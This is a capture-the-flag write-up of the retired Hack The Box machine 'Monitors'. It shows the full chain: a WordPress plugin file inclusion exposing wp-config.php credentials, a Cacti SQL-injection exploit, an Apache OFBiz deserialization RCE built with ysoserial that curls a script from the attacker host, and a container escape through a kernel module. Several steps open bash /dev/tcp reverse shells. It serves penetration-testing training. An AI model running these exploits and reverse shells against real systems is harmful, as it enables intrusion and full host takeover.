Skip to content

Latest commit

 

History

History
284 lines (222 loc) · 9.05 KB

write-up-monitors.md

File metadata and controls

284 lines (222 loc) · 9.05 KB

Monitors

This is the write-up for the box Monitors that got retired at the 9th October 2021. My IP address was 10.10.14.2 while I did this.

Let's put this in our hosts file:

10.10.10.238    monitors.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/monitors.nmap 10.10.10.238
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking HTTP (Port 80)

The website shows a note that direct IP access is not allowed and if we have issues to contact the website administrator admin[@]monitors.htb. A website can be reached on the hostname monitors.htb that is built with WordPress:

WordPress page

In the folder wp-content/plugins is a folder for a plugin called wp-with-spritz.

Searching for vulnerabilities for this plugin:

searchsploit spritz

WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion

There is a Remote File Inclusion vulnerability for the plugin and that can be tested by getting the contents of the /etc/passwd file:

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd

The WordPress configuration can be found in the file wp-config.php and the credentials could be useful:

GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php HTTP/1.1
Host: monitors.htb
(...)
(...)
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
(...)

Getting contents of the Apache default configuration:

GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../../../etc/apache2/sites-available/000-default.conf
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf
(...)

There is another hostname cacti-admin.monitors.htb that has to be added to the /etc/hosts file to access it.

Cacti page

It hosts the monitoring and fault management framework Cacti version 1.2.12 from May 2020. By testing the password found in the WordPress configuration, it is possible to login with that and the username admin.

Searching for vulnerabilities in Cacti:

searchsploit cacti

The running version of the application has a SQL Injection vulnerability:

Cacti 1.2.12 - 'filter' SQL Injection

Running the exploit script:

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.2 --lport 9001

After executing the script, the listener on my IP and port 9001 starts a reverse shell as the user www-data.

Privilege Escalation

The file /usr/share/cacti/cacti/include/config.php contains credentials for the database of the Cacti application, which could be useful:

(...)
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cacti';
$database_password = 'cactipass';
$database_port     = '3306';
(...)

In the home folder of the user marcus is a hidden /.backup folder, that has only the execute bit set and no permissions to list the contents:

d--x--x--x 2 marcus marcus 4096 Nov 10  2020 .backup

We can search for other files that reference this directory to get a potential filename that can be read:

grep -Ri '\.backup' /home/ 2>/dev/null

grep -Ri '\.backup' /etc/ 2>/dev/null

The file /etc/systemd/system/cacti-backup.service is found, which is a service that reveals a filename in the .backup directory:

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

The file /home/marcus/.backup/backup.sh can be read and it contains credentials:

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

(...)

The password does work for the user marcus to login via SSH:

ssh marcus@10.10.10.238

Privilege Escalation 2

In the home directory of marcus is note.txt and there is a ToDo list with a task to-be-done:

Update docker image for production use

The user is not a member of groups to manage Docker containers, but the running container can be seen in the processes:

ps -ef | grep docker
root    2203    1650    /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443

By checking the listening connections with ss -lnpt, it shows that port 8443 is listening on localhost.

Forwarding port 8443 to our local client with the SSH command line:

ssh> -L8443:127.0.0.1:8443
Forwarding port.

The port can now be accessed via HTTPS on our localhost on port 8443. The website shows an HTTP status code 404 Not Found, so lets search for hidden directories with Gobuster:

gobuster -u https://localhost:8443 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

It finds different directories, but most of them forward to the login of Apache OFBiz:

  • /marketing
  • /ecommerece
  • /accounting
  • /webtools

Apach OFBiz page

The application Apache OFBiz is an open-source Enterprise Resource Planning (ERP) system, that uses Java in the background. The footer shows that it runs version 17.12.01 from March 2020, so it could have vulnerabilities:

searchsploit ofbiz

ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)

There is a Remote Code Execution vulnerability that can be abused with Java Deserialization as explained in this repository from Vulhub.

Creating a reverse shell script shell.sh:

bash -c 'bash -i >& /dev/tcp/10.10.14.2/9002 0>&1'

Generating a payload with ysoserial to download the bash script:

java -jar ysoserial.jar CommonsBeanutils1 "curl 10.10.14.2/shell.sh -o /tmp/shell.sh" | base64 | tr -d "\n"

Sending the request from the Proof-of-Concept with the payload to download the file to the box:

POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Content-Type: application/xml
Content-Length: 4163

(...)
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aW(...)
</serializable>
(...)

Generating a payload with ysoserial to execute the bash script:

java -jar ysoserial.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

Sending another request with the payload to execute the bash script:

POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Content-Type: application/xml
Content-Length: 4135

<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwu(...)
</serializable>
(...)

After sending the request, the shell script will be executed and the listener on my IP and port 9002 starts a reverse shell as the user root. Based on the hostname, the IP and the .dockerenv file in the root directory, this is a Docker container and not the target box.

Lateral Movement

The Process Capabilities show that the cap_sys_module is enabled, which can be used to escape containers:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

With this capability it is possible to load kernel modules and the payload in this article can be used to build such a module.

Modifying code to include our IP address:

(...)
static char command[] = "bash -i >& /dev/tcp/10.10.14.2/9003 0>&1"; //Reverse shell change ip and port if needed
(...)

Creating Makefile:

obj-m += revshell.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

Creating kernel module:

make

Inserting the module into the kernel:

insmod revshell.ko

After inserting the module into the kernel, the listener on my IP and port 9003 starts a reverse shell as root!